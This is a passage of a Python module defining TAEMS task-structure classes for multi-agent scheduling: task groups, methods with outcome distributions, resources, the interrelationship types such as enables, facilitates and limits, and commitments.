{})'.format(self.qaf))\n        if self.qaf_local:\n            str_buffer.append('\\t(qaf_local {})'.format(self.qaf_local))\n        str_buffer.append(('\\t(type {})'.format(self.type)))\n        str_buffer.append(')')\n        return '\\n'.join(str_buffer)\n\n\nclass TaskGroup(Task):\n    \"\"\"\n    Class that represents a task group in taems tree structure.\n\n    Task group is a task that is not executable.\n    This class inherits all of its attributes from Task class.\n    \"\"\"\n\n    def __init__(self):\n        super(TaskGroup, self).__init__()\n\n    def __str__(self):\n        str_buffer = []\n        str_buffer.append('(spec_task_group')\n        str_buffer.append('\\t(label {})'.format(self.label))\n        str_buffer.append('\\t(agent {})'.format(', '.join(self.agent)))\n        if self.supertasks:\n            str_buffer.append('\\t(supertasks {})'.format(', '.join(self.supertasks)))\n        str_buffer.append('\\t(subtasks {})'.format(', '.join(self.subtasks)))\n        str_buffer.append('\\t(qaf {})'.format(self.qaf))\n        if self.qaf_local:\n            str_buffer.append('\\t(qaf_local {})'.format(self.qaf_local))\n        str_buffer.append(('\\t(type {})'.format(self.type)))\n        str_buffer.append(')')\n        return '\\n'.join(str_buffer)\n\n    def to_dot(self, **kwargs):\n        \"\"\"\n        Return .dot representation of this task and connections to its subtasks.\n\n       Args:\n            **kwargs: Various possible options for formatting the output.\n        \"\"\"\n        node_label = '\\t\"{0}\" [label=\"{0}\\\\n{1}\"];'.format(self.label, ', '.join(self.agent))\n        dot_buffer = [node_label]\n\n        for (index, sub_label) in enumerate(self.subtasks):\n            if index == (len(self.subtasks) - 1) / 2:\n                dot_buffer.append('\"{0}\" -> \"{1}\" [label=\"{2}\"];'.format(self.label, sub_label, self.qaf))\n            else:\n                dot_buffer.append('\"{0}\" -> \"{1}\";'.format(self.label, sub_label))\n\n        return '\\n\\t'.join(dot_buffer) + '\\n'\n\n    @classmethod\n    def init_with_values(cls, label, agents, subtasks, qaf, supertasks=None, qaf_local='', type='homogeneous'):\n        \"\"\"\n        Initialize Task object by manually specifying its values.\n\n        Args:\n            label (str): Label of the task, its unique identifier.\n            agents (list[str]): Agent types that participate in this task.\n            subtasks (list[str]): Labels of task's subtasks\n            qaf (str): Quality function identifier.\n            supertasks (list[str]): Labels of task's supertasks - optional for TaskGroup / empty if root.\n            qaf_local (str): Local quality function identifier.\n            type (str): 'homogeneous'\n\n        Returns:\n            Task object.\n        \"\"\"\n        task = cls()\n        task.label = label\n        task.agent = agents\n        task.subtasks = subtasks\n        task.supertasks = supertasks if supertasks is not None else []\n        task.qaf = qaf\n        task.qaf_local = qaf_local\n        task.type = type\n        return task\n\n\nclass Method(Task):\n    \"\"\"\n    Class that represents a method in taems tree structure.\n\n    Method is a task that is executable.\n    This class inherits attributes from Task class.\n\n    Attributes:\n        outcome (list[dict]): Distributions of method outcome -\n                - [0] quality_distribution: {value: probability}\n                - [1] duration_distribution: {value: probability}\n                - [2] cost_distribution: {value: probability}\n        QualityEV (float): Expected value for quality of method's execution.\n        CostEV (float): Expected value for cost of method's execution.\n        DurationEV (float): Expected value for duration of method's execution.\n        startTime (float): Start of method's execution.\n        endTime (float): End of method's execution.\n        accruedTime (float): Time elapsed since the start of method's execution.\n        nonLocal (bool): True if method has to be executed by other agent.\n        isDisabled (bool): True if method is disabled (can't be executed).\n    \"\"\"\n\n    def __init__(self):\n        super(Method, self).__init__()\n        self.subtasks = None\n        self.outcome = [{}, {}, {}]\n        self.QualityEV = 0\n        self.CostEV = 0\n        self.DurationEV = 0\n        # self.ProbQualityGreaterThanEV = 0\n        # self.ProbCostLowerThanEV = 0\n        # self.ProbDurationShorterThanEV = 0\n        self.startTime = None\n        self.endTime = None\n        self.accruedTime = None\n        self.nonLocal = False\n        self.isDisabled = 0\n\n    @classmethod\n    def init_with_values(cls, label, agents, supertasks, outcome, type='homogeneous'):\n        \"\"\"\n        Initialize Method object by manually specifying its values.\n\n        Args:\n            label (str): Label of the method, its unique identifier.\n            agents (list[str]): Agent types that participate in this method.\n            supertasks (list[str]): Labels of method's supertasks\n            outcome (list[dict]): Distributions of method outcome -\n                    - [0] quality_distribution: {value: probability}\n                    - [1] duration_distribution: {value: probability}\n                    - [2] cost_distribution: {value: probability}\n            type (str): 'homogeneous'\n\n        Returns:\n            Method object.\n        \"\"\"\n        method = cls()\n        method.label = label\n        method.agent = agents\n        method.supertasks = supertasks\n        method.outcome = outcome\n        method.type = type\n        return method\n\n    def __str__(self):\n        str_buffer = []\n        str_buffer.append('(spec_method')\n        str_buffer.append('\\t(label {})'.format(self.label))\n        str_buffer.append('\\t(agent {})'.format(', '.join(self.agent)))\n        str_buffer.append('\\t(supertasks {})'.format(', '.join(self.supertasks)))\n\n        str_buffer.append('\\t(outcome')\n        quality_distribution = ' '.join(['{} {}'.format(key, value) for key, value in self.outcome[0].items()])\n        str_buffer.append(('\\t\\t(quality_distribution {})'.format(quality_distribution)))\n        duration_distribution = ' '.join(['{} {}'.format(key, value) for key, value in self.outcome[1].items()])\n        str_buffer.append('\\t\\t(duration_distribution {})'.format(duration_distribution))\n        cost_distribution = ' '.join(['{} {}'.format(key, value) for key, value in self.outcome[2].items()])\n        str_buffer.append(('\\t\\t(cost_distribution {})'.format(cost_distribution)))\n        str_buffer.append('\\t)')\n\n        str_buffer.append(('\\t(type {})'.format(self.type)))\n        str_buffer.append(')')\n        return '\\n'.join(str_buffer)\n\n    def to_dot(self, **kwargs):\n        \"\"\"\n        Return .dot representation of this method.\n\n        Args:\n            **kwargs: Various possible options for formatting the output.\n        \"\"\"\n        node_label = '\\t\"{0}\" [label=\"{0}\\\\n{1}\" shape=box];\\n'.format(self.label, ', '.join(self.agent))\n\n        return node_label\n\n    def calcExpectations(self):\n        \"\"\"\n        Calculate expected values for quality, duration and cost value distributions.\n\n        Uses a helper function which calculates expected values of probability\n        distributions defined as: dictionary {value: probability}.\n        \"\"\"\n        self.QualityEV = helper_functions.calcExpectedValue(self.outcome[0])\n        self.DurationEV = helper_functions.calcExpectedValue(self.outcome[1])\n        self.CostEV = helper_functions.calcExpectedValue(self.outcome[2])\n\n\nclass Resource(Node):\n    \"\"\"\n    An interface that represents resources in taems task structure.\n\n    Attributes:\n        state (float): Current state of resource (quantity of available resource).\n        depleted_at (float): Minimum state of resource.\n        overloaded_at (float): Maximum state of resource.\n        isSufficient (bool): True if depleted_at < state < overloaded_at.\n        type (int): 0 - consumable, 1 - non-consumable.\n    \"\"\"\n\n    resource_types = {'none': -1, 'consumable': 0, 'non_consumable': 1}\n    resource_names = {value: key for key, value in resource_types.items()}\n\n    def __init__(self):\n        super(Resource, self).__init__()\n        self.state = 0\n        self.depleted_at = 0\n        self.overloaded_at = 0\n        self.isSufficient = None\n        self.type = self.resource_types['none']\n\n    @classmethod\n    def init_from_values(cls, label, depleted_at, overloaded_at, state=None, agents=None):\n        \"\"\"\n        Initialize Resource object by manually specifying its values.\n\n        Args:\n            label (str): Label of the resource, its unique identifier.\n            depleted_at (float): Minimum state of resource.\n            overloaded_at (float): Maximum state of resource.\n            state (float): Current state of resource (quantity of available resource).\n            agents (list[str]): Agent types that participate in this method.\n\n        Returns:\n            Resource object.\n        \"\"\"\n        resource = cls()\n        resource.label = label\n        resource.agent = agents if agents is not None else []\n        resource.state = state if state is not None else overloaded_at\n        resource.depleted_at = depleted_at\n        resource.overloaded_at = overloaded_at\n        return resource\n\n    def __str__(self):\n        str_buffer = []\n        str_buffer.append('(spec_{}_resource'.format(self.resource_names[self.type]))\n        str_buffer.append('\\t(label {})'.format(self.label))\n        if self.agent:\n            str_buffer.append('\\t(agent {})'.format(', '.join(self.agent)))\n        str_buffer.append('\\t(state {})'.format(self.state))\n        str_buffer.append('\\t(depleted_at {})'.format(self.depleted_at))\n        str_buffer.append('\\t(overloaded_at {})'.format(self.overloaded_at))\n        str_buffer.append(')')\n        return '\\n'.join(str_buffer)\n\n    def produce(self, amount, tree):\n        \"\"\"\n        Produce the given amount of resource and change the sufficiency flag if needed.\n\n        Args:\n            amount (float): Amount of resource to produce.\n            tree (TaemsTree): Taems tree which resource belongs to.\n        \"\"\"\n        self.checkSufficiency()\n        wasInsuficcient = not self.isSufficient\n        self.state += amount\n\n        self.checkSufficiency()\n\n        if self.isSufficient is False:\n            self.activateLimits(tree)\n        if self.isSufficient is True and wasInsuficcient:\n            self.deactivateLimits(tree)\n\n    def consume(self, amount, tree):\n        \"\"\"\n        Consume the given amount of resource and change the sufficiency flag if needed.\n\n        Args:\n            amount (float): Amount of resource to consume.\n            tree (TaemsTree): Taems tree which resource belongs to.\n        \"\"\"\n        self.checkSufficiency()\n        wasInsuficcient = not self.isSufficient\n        self.state -= amount\n\n        self.checkSufficiency()\n\n        if self.isSufficient is False:\n            self.activateLimits(tree)\n        if self.isSufficient is True and wasInsuficcient:\n            self.deactivateLimits(tree)\n\n    def checkSufficiency(self):\n        \"\"\"\n        Check the current state of resource and set sufficiency flag.\n\n        Flag is set to True if depleted_at < state < overloaded_at and\n        False otherwise.\n        \"\"\"\n        if self.depleted_at < self.state < self.overloaded_at:\n            self.isSufficient = True\n        else:\n            self.isSufficient = False\n\n    def activateLimits(self, tree):\n        \"\"\"\n        Activate all limits interrelationships that have the insufficient\n        resource as source (from field).\n\n        Goes through all IR's of type limits (code 6) and checks to see if\n        this resource is source. It then activates IRs that match criteria.\n\n        Args:\n            tree (TaemsTree): Taems tree structure with IR's and resources.\n        \"\"\"\n\n        for ir in tree.IRs.values():\n            if ir.type == Interrelationship.IR_types['limits']:\n                if ir.From == self.label:\n                    ir.activate(tree, 0)\n\n    def deactivateLimits(self, tree):\n        \"\"\"\n        Deactivate all limits interrelationships that now have sufficient amount\n        of resource (from field).\n\n        Goes through all IR's of type limits (code 6) and checks to see if\n        this resource is source. It then deactivates IRs that match criteria.\n\n        Args:\n            tree (TaemsTree): Taems tree structure with IR's and resources.\n        \"\"\"\n\n        for ir in tree.IRs.values():\n            if ir.type == Interrelationship.IR_types['limits']:\n                if ir.From == self.label:\n                    ir.deactivate(tree, 0)\n\n\nclass ConsumableResource(Resource):\n    \"\"\"\n    An interface that represents consumable resources in taems task structure.\n    \"\"\"\n\n    def __init__(self):\n        super(ConsumableResource, self).__init__()\n        self.type = self.resource_types['consumable']\n\n\nclass NonConsumableResource(Resource):\n    \"\"\"\n    An interface  that represents non-consumable resources in taems task structure.\n\n    It has initial state to which it returns each time the action that changes\n    its state finishes execution.\n    \"\"\"\n\n    def __init__(self):\n        super(NonConsumableResource, self).__init__()\n        self.initialState = 0\n        self.type = self.resource_types['non_consumable']\n\n    def setInitalValue(self):\n        \"\"\"Set the resource's state to its initial value.\"\"\"\n        self.state = self.initialState\n\n\nclass Interrelationship(object):\n    \"\"\"\n    Class that represents interrelationships in taems tree structure.\n\n    Attributes:\n        label (str): IR's label, unique identifier.\n        agent (str): Label of agent who \"owns\" the IR.\n        From (str): Label of the node that is the source of IR.\n        To (str): Label of the node that is affected by IR.\n        delay (float): Value of time delayed before the effects of IR take place.\n        active (bool): True if IR is active\n        type (int): Marks the type of IR. Can be: 0, 1, 2, 3, 4, 5 or 6.\n                    See class static variable IR_types for details.\n    \"\"\"\n    IR_types = {'none': -1,\n                'enables': 0,\n                'disables': 1,\n                'facilitates': 2,\n                'hinders': 3,\n                'produces': 4,\n                'consumes': 5,\n                'limits': 6,\n                'child_of': 7}\n\n    IR_names = {value: key for key, value in IR_types.items()}\n\n    def __init__(self):\n        self.label = \"\"\n        self.agent = \"\"\n        self.From = \"\"\n        self.To = \"\"\n        self.delay = 0\n        self.active = False\n        self.type = self.IR_types['none']\n\n    def to_dot(self, **kwargs):\n        \"\"\"\n        Return .dot representation of this IR.\n\n        Args:\n            **kwargs: Various possible options for formatting the output.\n        \"\"\"\n        options = 'style=dashed color=grey fontcolor=grey fontsize=0 constraint=false'\n        edge = '\\t\"{0}\" -> \"{1}\" [{2}  label={3}];\\n'.format(self.From, self.To, options, self.IR_names[self.type])\n\n        return edge\n\n    @classmethod\n    def init_with_values(cls, label, agents, From, To, delay=0):\n        \"\"\"\n        Initialize Interrelationship object by manually specifying its values.\n\n        Args:\n            label (str): Label of the IR, its unique identifier.\n            agents (list[str]): Agent types that participate in this IR.\n            From (str): Label of the node that is the source of IR.\n            To (str): Label of the node that is affected by IR.\n            delay (float): Value of time delayed before the effects of IR take place.\n\n        Returns:\n            Interrelationship object.\n        \"\"\"\n        IR = cls()\n        IR.label = label\n        IR.agent = agents\n        IR.From = From\n        IR.To = To\n        IR.delay = delay\n        return IR\n\n    def buffer_common_attributes(self):\n        \"\"\"\n        Append common attributes of Interrelationship class to a buffer.\n\n        Buffer is used in __str__ methods of each subclass.\n        \"\"\"\n        str_buffer = []\n        str_buffer.append('(spec_{}'.format(self.IR_names[self.type]))\n        str_buffer.append('\\t(label {})'.format(self.label))\n        str_buffer.append('\\t(agent {})'.format(', '.join(self.agent)))\n        str_buffer.append('\\t(from {})'.format(self.From))\n        str_buffer.append('\\t(to {})'.format(self.To))\n        if self.delay:\n            str_buffer.append('\\t(delay {})'.format(self.delay))\n        return str_buffer\n\n\nclass IREnables(Interrelationship):\n    \"\"\"\n    Class that represents enables interrelationship.\n\n    This class inherits attributes from Interrelationship class.\n    It overrides the `type` attribute.\n    \"\"\"\n\n    def __init__(self):\n        super(IREnables, self).__init__()\n        self.type = self.IR_types['enables']\n\n    def __str__(self):\n        str_buffer = self.buffer_common_attributes()\n        str_buffer.append(')')\n        return '\\n'.join(str_buffer)\n\n    def activate(self, tree, time):\n        \"\"\"\n        Activate IR enables.\n\n        Set the destination node isDisabled flag to false, modify the destination's\n        earliest start time if needed, change IR's state to active.\n\n        Args:\n            tree (TaemsTree): A taems tree.\n            time (float): Current execution time.\n        \"\"\"\n        tree.tasks[self.To].isDisabled -= 1\n        # If activation is delayed, set methods earliest start time.\n        if self.delay > 0:\n            if (tree.tasks[self.To].earliestStartTime < (time + self.delay) or\n                    tree.tasks[self.To].earliestStartTime is None):\n                tree.tasks[self.To].earliestStartTime = time + self.delay\n\n        self.active = True\n        # tree.activeIR.append(self)\n\n\nclass IRDisables(Interrelationship):\n    \"\"\"\n    Class that represents disables interrelationship.\n\n    This class inherits attributes from Interrelationship class.\n    It overrides the `type` attribute.\n    \"\"\"\n\n    def __init__(self):\n        super(IRDisables, self).__init__()\n        self.type = self.IR_types['disables']\n\n    def __str__(self):\n        str_buffer = self.buffer_common_attributes()\n        str_buffer.append(')')\n        return '\\n'.join(str_buffer)\n\n    def activate(self, tree, time):\n        \"\"\"\n        Activate IR disables.\n\n        Set the destination node isDisabled flag to true, modify the destination's\n        deadline if needed, change IR's state to active.\n\n        Args:\n            tree (TaemsTree): A taems tree.\n            time (float): Current execution time.\n        \"\"\"\n        tree.tasks[self.To].isDisabled += 1\n        # If activation is delayed, set methods deadline.\n        if self.delay > 0:\n            if tree.tasks[self.To].deadline > (time + self.delay) or tree.tasks[self.To].deadline is None:\n                tree.tasks[self.To].deadline = time + self.delay\n\n        self.active = True\n        # tree.activeIR.append(self)\n\n\nclass IRFacilitates(Interrelationship):\n    \"\"\"\n    Class that represents facilitates interrelationship.\n\n    This class inherits attributes from Interrelationship class.\n    It overrides the `type` attribute.\n\n    Attributes:\n        quality_power (dict): Probability distribution of quality value which affects the destination node.\n        cost_power (dict): Probability distribution of cost value which affects the destination node.\n        duration_power (dict): Probability distribution of duration value which affects the destination node.\n        startTime (float): IR's start time.\n        q_powerEV (float): Expected value for quality.\n        d_powerEV (float): Expected value for duration.\n        c_powerEV (float): Expected value for cost.\n  \"\"\"\n\n    def __init__(self):\n        super(IRFacilitates, self).__init__()\n        self.type = self.IR_types['facilitates']\n        self.quality_power = {}\n        self.cost_power = {}\n        self.duration_power = {}\n        self.startTime = None\n        self.q_powerEV = -1\n        self.d_powerEV = -1\n        self.c_powerEV = -1\n\n    def __str__(self):\n        str_buffer = self.buffer_common_attributes()\n        quality_power = ' '.join(['{} {}'.format(key, value) for key, value in self.quality_power.items()])\n        str_buffer.append('\\t(quality_power {}'.format(quality_power))\n        duration_power = ' '.join(['{} {}'.format(key, value) for key, value in self.duration_power.items()])\n        str_buffer.append('\\t(duration_power {}'.format(duration_power))\n        cost_power = ' '.join(['{} {}'.format(key, value) for key, value in self.cost_power.items()])\n        str_buffer.append('\\t(cost_power {}'.format(cost_power))\n        str_buffer.append(')')\n        return '\\n'.join(str_buffer)\n\n    def calcPowerEV(self):\n        \"\"\"Calculate expected values of power distributions.\"\"\"\n        self.q_powerEV = helper_functions.calcExpectedValue(self.quality_power)\n        self.d_powerEV = helper_functions.calcExpectedValue(self.duration_power)\n        self.c_powerEV = helper_functions.calcExpectedValue(self.cost_power)\n\n    def activate(self, tree, time):\n        \"\"\"\n        Activate IR facilitates.\n\n        Modify the IR's start time, calculate quality, cost and duration\n        expected values, modify the destination's outcome.\n\n        Args:\n            tree (TaemsTree): A taems tree.\n            time (float): Current execution time.\n        \"\"\"\n        if self.delay > 0:\n            if self.startTime is None or self.startTime < time + self.delay:\n                self.startTime = time + self.delay\n        else:\n            if self.startTime is None or self.startTime > time:\n                self.startTime = time\n\n        helper_functions.mutiplyDistribution(tree.tasks[self.To].outcome[0], 1 + self.q_powerEV)\n        helper_functions.mutiplyDistribution(tree.tasks[self.To].outcome[1], 1 - self.d_powerEV)\n        helper_functions.mutiplyDistribution(tree.tasks[self.To].outcome[2], 1 - self.c_powerEV)\n\n        self.active = True\n        # tree.activeIR.append(self)\n\n\nclass IRHinders(Interrelationship):\n    \"\"\"\n    Class that represents hinders interrelationship.\n\n    This class inherits attributes from Interrelationship class.\n    It overrides the `type` attribute.\n\n    Attributes:\n        quality_power (dict): Probability distribution of quality value which affects the destination node.\n        cost_power (dict): Probability distribution of cost value which affects the destination node.\n        duration_power (dict): Probability distribution of duration value which affects the destination node.\n        startTime (float): IR's start time.\n        q_powerEV (float): Expected value for quality.\n        d_powerEV (float): Expected value for duration.\n        c_powerEV (float): Expected value for cost.\n    \"\"\"\n\n    def __init__(self):\n        super(IRHinders, self).__init__()\n        self.type = self.IR_types['hinders']\n        self.quality_power = {}\n        self.cost_power = {}\n        self.duration_power = {}\n        self.startTime = None\n        self.q_powerEV = -1\n        self.d_powerEV = -1\n        self.c_powerEV = -1\n\n    def __str__(self):\n        str_buffer = self.buffer_common_attributes()\n        quality_power = ' '.join(['{} {}'.format(key, value) for key, value in self.quality_power.items()])\n        str_buffer.append('\\t(quality_power {}'.format(quality_power))\n        duration_power = ' '.join(['{} {}'.format(key, value) for key, value in self.duration_power.items()])\n        str_buffer.append('\\t(duration_power {}'.format(duration_power))\n        cost_power = ' '.join(['{} {}'.format(key, value) for key, value in self.cost_power.items()])\n        str_buffer.append('\\t(cost_power {}'.format(cost_power))\n        str_buffer.append(')')\n        return '\\n'.join(str_buffer)\n\n    def calcPowerEV(self):\n        \"\"\"Calculate expected values of power distributions.\"\"\"\n        self.q_powerEV = helper_functions.calcExpectedValue(self.quality_power)\n        self.d_powerEV = helper_functions.calcExpectedValue(self.duration_power)\n        self.c_powerEV = helper_functions.calcExpectedValue(self.cost_power)\n\n    def activate(self, tree, time):\n        \"\"\"\n        Activate IR facilitates.\n\n        Modify the IR's start time, calculate quality, cost and duration\n        expected values, modify the destination's outcome, activate the IR.\n\n        Args:\n            tree (TaemsTree): A taems tree.\n            time (float): Current execution time.\n        \"\"\"\n        if self.delay > 0:\n            if self.startTime is None or self.startTime < time + self.delay:\n                self.startTime = time + self.delay\n        else:\n            if self.startTime is None or self.startTime > time:\n                self.startTime = time\n\n        helper_functions.mutiplyDistribution(tree.tasks[self.To].outcome[0], 1 - self.q_powerEV)\n        helper_functions.mutiplyDistribution(tree.tasks[self.To].outcome[1], 1 + self.d_powerEV)\n        helper_functions.mutiplyDistribution(tree.tasks[self.To].outcome[2], 1 + self.c_powerEV)\n\n        self.active = True\n        # tree.activeIR.append(self)\n\n\nclass IRProduces(Interrelationship):\n    \"\"\"\n    Class that represents produces interrelationship.\n\n    This class inherits attributes from Interrelationship class.\n    It overrides the `type` attribute.\n\n    Attributes:\n        model (str): The way the resources are produced: \"per_time_unit\" or \"duration_independent\".\n        produces (dict): Probability distribution of quantity of resource IR produces.\n    \"\"\"\n\n    def __init__(self):\n        super(IRProduces, self).__init__()\n        self.type = self.IR_types['produces']\n        self.model = \"\"\n        self.produces = {}\n\n    @classmethod\n    def init_with_values(cls, label, agents, From, To, produces, model='duration_independent', delay=0):\n        \"\"\"\n        Initialize IRProduces object by manually specifying its values.\n\n        Args:\n            label (str): Label of the IR, its unique identifier.\n            agents (list[str]): Agent types that participate in this IR.\n            From (str): Label of the node that is the source of IR.\n            To (str): Label of the node that is affected by IR.\n            produces (dict): Probability distribution of quantity of resource IR produces.\n            model (str): How resources are produced - 'duration_independent' or 'per_time_unit'.\n            delay (float): Value of time delayed before the effects of IR take place.\n\n        Returns:\n            IRProduces object.\n        \"\"\"\n        IR = cls()\n        IR.label = label\n        IR.agent = agents\n        IR.From = From\n        IR.To = To\n        IR.produces = produces\n        IR.model = model\n        IR.delay = delay\n        return IR\n\n    def __str__(self):\n        str_buffer = self.buffer_common_attributes()\n        str_buffer.append('\\t(model {}'.format(self.model))\n        str_buffer.append('\\t(produces {}'.format(self.produces))\n        str_buffer.append(')')\n        return '\\n'.join(str_buffer)\n\n    def activate(self, tree):\n        \"\"\"\n        Activate IR produces.\n\n        Calculate the expected value of produced resource, produce the calculated\n        amount of resource, activate the IR.\n\n        Args:\n            tree (TaemsTree): A taems tree.\n        \"\"\"\n        EVproduced = helper_functions.calcExpectedValue(self.produces)\n\n        resource = tree.resources[self.To]\n        if self.model == \"per_time_unit\":\n            resource.produce(EVproduced * tree.tasks[self.From].DurationEV, tree)\n\n        elif self.model == \"duration_independent\":\n            resource.produce(EVproduced, tree)\n\n        self.active = True\n        # tree.activeIR.append(self)\n\n\nclass IRConsumes(Interrelationship):\n    \"\"\"\n    Class that represents consumes interrelationship.\n\n    This class inherits attributes from Interrelationship class.\n    It overrides the `type` attribute.\n\n    Attributes:\n        model (str): The way the resources are consumed: \"per_time_unit\" or \"duration_independent\".\n        consumes (dict): Probability distribution of quantity of resource IR consumes.\n    \"\"\"\n\n    def __init__(self):\n        super(IRConsumes, self).__init__()\n        self.type = self.IR_types['consumes']\n        self.model = \"\"\n        self.consumes = {}\n\n    @classmethod\n    def init_with_values(cls, label, agents, From, To, consumes, model='duration_independent', delay=0):\n        \"\"\"\n        Initialize IRConsumes object by manually specifying its values.\n\n        Args:\n            label (str): Label of the IR, its unique identifier.\n            agents (list[str]): Agent types that participate in this IR.\n            From (str): Label of the node that is the source of IR.\n            To (str): Label of the node that is affected by IR.\n            consumes (dict): Probability distribution of quantity of resource IR consumes.\n            model (str): How resources are produced - 'duration_independent' or 'per_time_unit'.\n            delay (float): Value of time delayed before the effects of IR take place.\n\n        Returns:\n            IRConsumes object.\n        \"\"\"\n        IR = cls()\n        IR.label = label\n        IR.agent = agents\n        IR.From = From\n        IR.To = To\n        IR.consumes = consumes\n        IR.model = model\n        IR.delay = delay\n        return IR\n\n    def __str__(self):\n        str_buffer = self.buffer_common_attributes()\n        str_buffer.append('\\t(model {}'.format(self.model))\n        str_buffer.append('\\t(consumes {}'.format(self.consumes))\n        str_buffer.append(')')\n        return '\\n'.join(str_buffer)\n\n    def activate(self, tree):\n        \"\"\"\n        Activate IR consumes.\n\n        Calculate the expected value of consumed resource, consume the calculated\n        amount of resource, activate the IR.\n\n        Args:\n            tree (TaemsTree): A taems tree.\n    \"\"\"\n        EVconsumed = helper_functions.calcExpectedValue(self.consumes)\n\n        resource = tree.resources[self.To]\n        if self.model == \"per_time_unit\":\n            resource.consume(EVconsumed * tree.tasks[self.From].DurationEV, tree)\n\n        elif self.model == \"duration_independent\":\n            resource.consume(EVconsumed, tree)\n\n        self.active = True\n        # tree.activeIR.append(self)\n\n\nclass IRLimits(Interrelationship):\n    \"\"\"\n    Class that represents limits interrelationship.\n\n    This class inherits attributes from Interrelationship class.\n    It overrides the `type` attribute.\n\n    Attributes:\n        model (str): The way the limit affects the task: \"per_time_click\" or \"duration_independent\".\n                  -> in this version, only duration independent mode is implemented\n        quality_power (dict): Probability distribution of quality value which affects the destination node\n        cost_power (dict): Probability distribution of cost value which affects the destination node\n        duration_power (dict): Probability distribution of duration value which affects the destination node\n        q_powerEV (float): Expected value for quality.\n        d_powerEV (float): Expected value for duration.\n        c_powerEV (float): Expected value for cost.\n        startTime (float): IR's start time.\n    \"\"\"\n\n    def __init__(self):\n        super(IRLimits, self).__init__()\n        self.type = self.IR_types['limits']\n        self.model = \"\"\n        self.quality_power = {}\n        self.cost_power = {}\n        self.duration_power = {}\n        self.q_powerEV = -1\n        self.d_powerEV = -1\n        self.c_powerEV = -1\n        self.startTime = None\n\n    @classmethod\n    def init_with_values(cls, label, agents, From, To, power, model='duration_independent', delay=0):\n        \"\"\"\n        Initialize IRProduces object by manually specifying its values.\n\n        Args:\n            label (str): Label of the IR, its unique identifier.\n            agents (list[str]): Agent types that participate in this IR.\n            From (str): Label of the node that is the source of IR.\n            To (str): Label of the node that is affected by IR.\n            power (dict): Probability distributions of quality, cost and duration values which affect destination node.\n            model (str): How resources are produced - 'duration_independent' or 'per_time_unit'.\n            delay (float): Value of time delayed before the effects of IR take place.\n\n        Returns:\n            IRProduces object.\n        \"\"\"\n        IR = cls()\n        IR.label = label\n        IR.agent = agents\n        IR.From = From\n        IR.To = To\n        IR.quality_power = power['quality']\n        IR.cost_power = power['cost']\n        IR.duration_power = power['duration']\n        IR.model = model\n        IR.delay = delay\n        return IR\n\n    def __str__(self):\n        str_buffer = self.buffer_common_attributes()\n        quality_power = ' '.join(['{} {}'.format(key, value) for key, value in self.quality_power.items()])\n        str_buffer.append('\\t(quality_power {}'.format(quality_power))\n        duration_power = ' '.join(['{} {}'.format(key, value) for key, value in self.duration_power.items()])\n        str_buffer.append('\\t(duration_power {}'.format(duration_power))\n        cost_power = ' '.join(['{} {}'.format(key, value) for key, value in self.cost_power.items()])\n        str_buffer.append('\\t(cost_power {}'.format(cost_power))\n        str_buffer.append('\\t(model {}'.format(self.model))\n        str_buffer.append(')')\n        return '\\n'.join(str_buffer)\n\n    def activate(self, tree, time):\n        \"\"\"\n        Activate IR limits.\n\n        Modify the IR's start time, calculate quality, cost and duration\n        expected values if needed, modify the destination's outcome,\n        activate the IR.\n\n        Args:\n            tree (TaemsTree): A taems tree.\n            time (float): Current execution time.\n        \"\"\"\n\n        # Calculate EV only once.\n        if self.q_powerEV == -1:\n            self.q_powerEV = helper_functions.calcExpectedValue(self.quality_power)\n            self.d_powerEV = helper_functions.calcExpectedValue(self.duration_power)\n            self.c_powerEV = helper_functions.calcExpectedValue(self.cost_power)\n\n        self.apply_ir_effects(self.To, tree, time)\n\n        self.active = True\n        # tree.activeIR.append(self)\n\n    def apply_ir_effects(self, task, tree, time):\n        \"\"\"\n        Apply IR effects.\n\n        Args:\n            task (str): Label of the task to which IR is applied.\n            tree (TaemsTree): A taems tree.\n            time (float): Current execution time.\n        \"\"\"\n\n        if task not in tree.tasks.keys():\n            return\n\n        # If the task is a method.\n        if tree.tasks[task].subtasks is None:\n            if tree.tasks[task].nonLocal:\n                return\n\n            if self.delay > 0:\n                if self.startTime is None or self.startTime < time + self.delay:\n                    self.startTime = time + self.delay\n\n            helper_functions.mutiplyDistribution(tree.tasks[task].outcome[0], 1 - self.q_powerEV)\n            if self.d_powerEV == -1:\n                helper_functions.mutiplyDistribution(tree.tasks[task].outcome[1], maxint)\n            else:\n                helper_functions.mutiplyDistribution(tree.tasks[task].outcome[1], 1 + self.d_powerEV)\n            if self.c_powerEV == -1:\n                helper_functions.mutiplyDistribution(tree.tasks[task].outcome[2], maxint)\n            else:\n                helper_functions.mutiplyDistribution(tree.tasks[task].outcome[2], 1 + self.c_powerEV)\n\n        if tree.tasks[task].subtasks is not None:\n            for subtask in tree.tasks[task].subtasks:\n                self.apply_ir_effects(subtask, tree, time)\n\n    def deactivate(self, tree):\n        \"\"\"\n        Deactivate IR limits.\n\n        Restore the destination's outcome, deactivate the IR.\n\n        Args:\n            tree (TaemsTree): A taems tree.\n        \"\"\"\n        helper_functions.mutiplyDistribution(tree.tasks[self.To].outcome[0], 1 / (1 - self.q_powerEV))\n        helper_functions.mutiplyDistribution(tree.tasks[self.To].outcome[1], 1 / (1 + self.d_powerEV))\n        helper_functions.mutiplyDistribution(tree.tasks[self.To].outcome[2], 1 / (1 + self.c_powerEV))\n\n        self.active = False\n        # tree.activeIR.remove(self.label)\n\n\nclass IRChildOf(Interrelationship):\n    \"\"\"\n    Class that represents child of interrelationship.\n\n    This class inherits attributes from Interrelationship class.\n    It overrides the `type` attribute.\n\n    Attributes:\n        From (str): Parent node's label.\n        To (str): Child node's label.\n    \"\"\"\n\n    def __init__(self, From, To, agent):\n        \"\"\"\n        Initialize class.\n\n        Args:\n            From (str): Parent node's label.\n            To (str): Child node's label.\n            agent (str): Agent's label.\n        \"\"\"\n        super(IRChildOf, self).__init__()\n        self.type = self.IR_types['child_of']\n        self.From = From\n        self.To = To\n        self.agent = agent\n\n    def __str__(self):\n        str_buffer = self.buffer_common_attributes()\n        str_buffer.append(')')\n        return '\\n'.join(str_buffer)\n\n\nclass Commitment(object):\n\n    def __init__(self):\n        self.label = \"\"\n        self.type = \"\"\n        self.From = \"\"\n        self.To = \"\"\n        self.task = \"\"\n\n\nclass LocalCommitment(Commitment):\n\n    def __init__(self):\n        super(LocalCommitment, self).__init__()\n        self.importance = 0\n        self.min_quality = 0\n        self.earliest_start_time = 0\n        self.deadline = 0\n        self.dont_interval_start = 0\n        self.dont_interval_end = 0\n        self.time_satisfied = 0\n\n\nclass NonLocalCommitment(Commitment):\n    def __init__(self):\n        super(NonLocalCommitment, self).__init__()\n        